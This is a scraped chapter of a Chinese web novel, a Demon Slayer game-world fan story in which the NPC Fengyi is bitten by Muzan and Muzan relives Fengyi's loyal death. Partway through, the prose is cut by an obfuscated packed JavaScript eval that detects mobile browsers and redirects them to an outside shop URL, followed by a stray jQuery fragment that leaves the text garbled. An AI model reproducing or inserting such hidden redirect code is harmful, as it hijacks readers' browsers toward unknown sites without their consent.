文趣网 > 都市小说 > 是炮灰,但死遁后成了BOSS们的白月光 > 5. 心痛得快要死掉了
    鬼舞辻无惨,是逢一前司USM制作的大型攻略闯关游戏——《多年以后面对鬼杀队会呼吸法的剑士少年会梦见三角饭团吗》中的反派大BOSS。

    但游戏在内测阶段还好好的,等到正式上线后,却发现无惨这个大BOSS行踪不定,动不动就躲起来从地图上玩儿消失。

    那大BOSS鬼影都找不到,游戏还怎么打嘛。

    逼得程序员不得不连夜修BUG,好不容易给无惨固定在了地图上。

    结果,终于在地图上找着无惨,跃跃欲试开始推BOSS的玩家,狠狠地推了无惨一夜,好家伙,一滴血都没推掉,玩家倒是不停地“西内西内”。

    在玩家愤怒的“退钱”的留言刷屏中,程序员苦哈哈地再次查起了BUG,最后发现是无惨摘除了“惧怕阳光”的DEBUFF,并且还给自己套上了“永恒无敌”的增益状态。

    逢一就是在这个时候上岗的。

    他匆匆结束岗前培训,当即就被指派接手鬼舞辻无惨的BUG修复任务——简单来说,就是以NPC的身份进入游戏世界,去到无惨身边,确保“惧怕阳光”这个DEBUFF牢牢焊死在无惨身上,让无惨成为鬼的始祖。

    在正式开始任务之前,逢一拿到了他的NPC任务剧本,他将作为医师的学徒,一齐来到无惨的宅邸为其治病。

    鬼舞辻无惨在成为鬼前,是为平安时代贵族的嗣子,他出生时因为过于病弱险些被当成死胎送去茶毗,此后二十年,他全靠昂贵的药物艰难地维系着性命。

    贵族为无惨找了无数的医师,都治不好无惨的病,即便是逢一的师父也不能。

    但医者仁心,逢一的师父自知力有不逮,便向无惨举荐了一位云游在外的名医。那位医师曾为宫中贵人诊治,医术非凡。师父亲自修书,恳请其前来为无惨治病。

    名医为无惨诊断后,坦言无惨的病症虽险,却并非无药可医。他开出药方,却又告知还差一味名为蓝色彼岸花的药引,嘱咐无惨再耐心等待。

    这些年来,无惨早已被病痛与死亡的恐惧折磨得心性扭曲,他再听不得“等待”二字,命人夺过药方,虽少了那一味蓝色彼岸花,他仍是执意照着此方煎药后服下。

    然而,他的病情并无起色,盛怒之下,只觉被庸医欺骗,无惨便亲手将那医师斩杀。

    可很快地,无惨发觉,他的病真的好了,他彻底摆脱了病弱的桎梏,体魄变得强悍至极,他还觉醒了血鬼术,能够操控血液施展诸般能力,他近乎神一般,无所不能。

    但同时,无惨也发觉,自己再也无法行走在阳光下,哪怕一丝阳光,都能轻易将他杀死。

    自此,无惨成为了鬼之始祖。

    所以,逢一在这段剧情里需要做的任务,就是盼着他的师父写信请来医师,防着有人找到蓝色彼岸花,最后盯着鬼舞辻无惨喝下那碗药变成鬼就行了。

    这很难吗?

    逢一看着NPC任务排行榜上,鬼舞辻无惨那栏缀着一长串零的奖金金额,若有所思。

    当然,等到逢一正式开启任务,他跟师父来到无惨的宅邸,只因为他是左脚先迈入的大门,就被无惨恶狠狠地叫人扔了出去,他也就想明白那一长串的零是哪儿来的了。

    于是在第二次开启任务的时候,逢一做足了准备,大门好歹是进了,但在跟着师父为无惨诊治时,逢一在一旁只是呼吸,却又被无惨点名让他滚出去,还附带一顿仗刑。

    到了第三次,逢一正乖乖留在后院捣药,突然前庭一阵骚乱,没等逢一问清楚“到底谁又惹他了”,就被告知无惨未过门的妻子要悔婚,觉得自己遭受了羞辱的无惨暴跳如雷,命他们这些仆人都立刻去死。

    “啊?我也要跟着一起死吗?”逢一那时还只是医师的学徒,都没认无惨这个主人,何况剧情已经走到他师父给名医写信的关键时候了,又重来的话逢一觉得还怪可惜的。

    “要的要的,大人特意交代过的。”仆人催促着逢一。

    “哦哦哦哦,那好吧。”逢一将沾满草灰的手在前覆上擦了擦,又叮嘱风炉上的药还剩半个时辰就熬好了,记得到时给无惨送过去,说完,他就在无惨没了老婆的这一天,跟着仆人一起去死了。

    等来到第四次,逢一提前向公司申请,他要在此次任务中使用念能力。

    NPC任务执行守则中的第一条规定:各游戏世界均具备其固有、稳定且排他的运行逻辑与规则体系。NPC作为外来介入变量,须严格遵循“最小干预原则”。

    但面对无惨这样一个“除了我都去死”的纯恨反派大BOSS,不用念来提升他的好感值的话,逢一别说是执行任务了,哪怕走到无惨面前挨他一句骂都不容易。

    而逢一一开始还有所顾虑,不敢放开了使用念。

    但他很快发现,即便用念锚在无惨的意识里,对无惨效忠大喊一万次“主人我愿意为你去死”,无惨对他的好感值也仅仅是从“憎恨”提升至“轻微厌恶”。

    直到逢一的念差点被掏空,他才终于将无惨对他的“轻微厌恶”变成了“不讨厌”。

    靠着这个“不讨厌”,逢一艰难地将任务完成——无惨成为鬼王,而他吃人的恐怖传闻也随之在京中传开。

    至此,剧本上所有关键节点均已触发,BUG已修复,NPC任务宣告完成。接下来,逢一只需依照流程启动脱离程序即可——

    传闻愈演愈烈,阴阳寮奉敕令前来缉拿“恶鬼”鬼舞辻无惨。作为“忠仆”的逢一,当夜便背着“病弱”的无惨,从后山小路逃脱。他将无惨妥善安置于隐蔽处后,又主动现身引开追兵,只为替主人搏得一线生机。

    然而生性多疑的无惨,早因阴阳寮接触过逢一,对他起了疑。

    当晚,引开追兵的逢一未能如约归来,彻底坐实了无惨对他叛逃的猜忌。实则逢一根本没能脱身,他被阴阳寮擒获。

    最终,沦为弃卒的逢一被扔到无惨面前,而他誓死效忠的主人,只仿佛看路边的野狗那样,冷眼看着。

    直到逢一喜提“一箭穿心”大结局,NPC任务正式结束,他得以从游戏世界登出。

    而随着他的“死亡”,埋在无惨意识中的念锚自然会消失。

    但逢一深知无惨的暴戾和多疑,以防万一,他还特意留了些许念力在那具NPC躯壳里,避免自己死后,无惨把他天灵盖一掀,记忆一查,他立马穿帮。

    所以,逢一拼命回忆,怎么也想不出到底是哪个环节出了错,闹出现在这个鬼王“啃人”的BUG。

    不好了,逢一觉得自己要流口水了。

    只因无惨狠狠地掐着逢一的下颌,令他无法将嘴合上,舌尖被含住,津液从唇齿间溢出,顺着微张的唇角流下。

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17629343|206310||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    照理说,就逢一这个胆敢在无惨面前流口水的模样,以前者洁癖的性子早就让逢一去死了。

    可这一次,无惨仿佛浑然未觉。那啃咬般的吻沿着逢一被他吮得破皮的嘴角,一路碾磨至脆弱的颈侧。湿热的触感游移着,随后,以一种压抑至崩溃爆发的渴求,无惨张开唇,用尖利的犬齿,用力地嵌入了逢一颈间的皮肉。

    刺痛尖锐地传来。

    “唔……”逢一闷哼一声,抬手抵住无惨的肩膀,忍不住要将他推开。

    逢一的推拒,仿佛骤然按下了某个开关。

    无惨的动作停了下来。

    他向后退开些许,那双暗红的眼瞳渐渐从狂乱的混沌中清醒过来。

    无惨垂眸,视线落在逢一颈侧那个清晰而泛着血色的齿痕上,又缓缓上移,掠过逢一湿润红肿的唇,最后撞进了逢一因痛意与茫然而睁大的双眼里。

    无惨记得逢一这样的眼神。

    就在逢一死的那一晚。

    率众前来围剿他的阴阳师,眼见强攻无果,便将逢一拖出来,掷在他面前,高声叫嚣,说这卑贱的仆人早已写下指认他是恶鬼的证词,若他再不束手就擒,便先杀了逢一。

    他是鬼又如何?无惨冷哼一声。今晚这群蠢货,一个也别想活。

    无惨记得那时,逢一浑身都是他厌恶的脏污,脸上血痕交错,被封住了口舌,亦发不出声音。于是,便只有那双眼睛,迸发出强烈的否认与饱含痛意的哀求。

    无惨只觉烦躁至极,对这胆敢背主的下人,他冷笑着开口:“要杀便杀,不过是我不要的一条狗罢了,他死了与我何干??”

    话音一落,逢一挣扎的动作骤然僵住,他眼中那抹光亮寸寸熄灭,彻底黯淡下去,他低下头,再没有去看无惨了。

    片刻间,无惨杀光了在场的所有人,唯独留了逢一一命——他不会让背信之人死得如此轻松,他要将逢一制成供他药物实验的傀儡,让其求生不得,求死不能。

    谁料有阴阳师没死透,暗中朝他掷出淬毒的袖箭。而本已无声息的逢一,不知从何处生出的力气,猛地挣起,为他挡下了这一击。

    看着濒死的逢一,无惨心底那股他搞不清出口的怒火如沸油般炸开。

    他暴躁地掐着逢一的下颌,令逢一张开嘴,划破手腕,将他的血滴了进去。

    他还没让逢一尝够背叛的惩罚,他怎么敢当着自己的面去死?

    无惨的血再度渗入逢一体内,这一次,他未曾料到,逢一的记忆碎片竟也随之涌入自己的意识——

    “阴阳寮胆敢设陷污蔑大人,我定要藏好他们构陷的书信,日后为大人洗刷冤屈……”

    “好痛……他们休想严刑逼供,我绝不会在这栽赃大人的供词上按下手印……”

    “痛……快要撑不住了……大人,您可还安好?求您……救救我……”

    “……原来,大人自始至终都未曾信任过我。我于您而言,不过是被您鄙夷、可随意丢弃的一条狗。”

    “这样也好……能为大人而死,便是我此生最大的幸事了。”

    无惨向后踉跄一步,仿佛害怕被烈日灼伤,他猛地将手从逢一身上抽离。

    他想,他应当是中了毒,否则他不知该如何解释,为何会有一股伴随着冰冷麻痹和灼烧的剧痛,从心脏的位置炸开,瞬间席卷他的四肢百骸。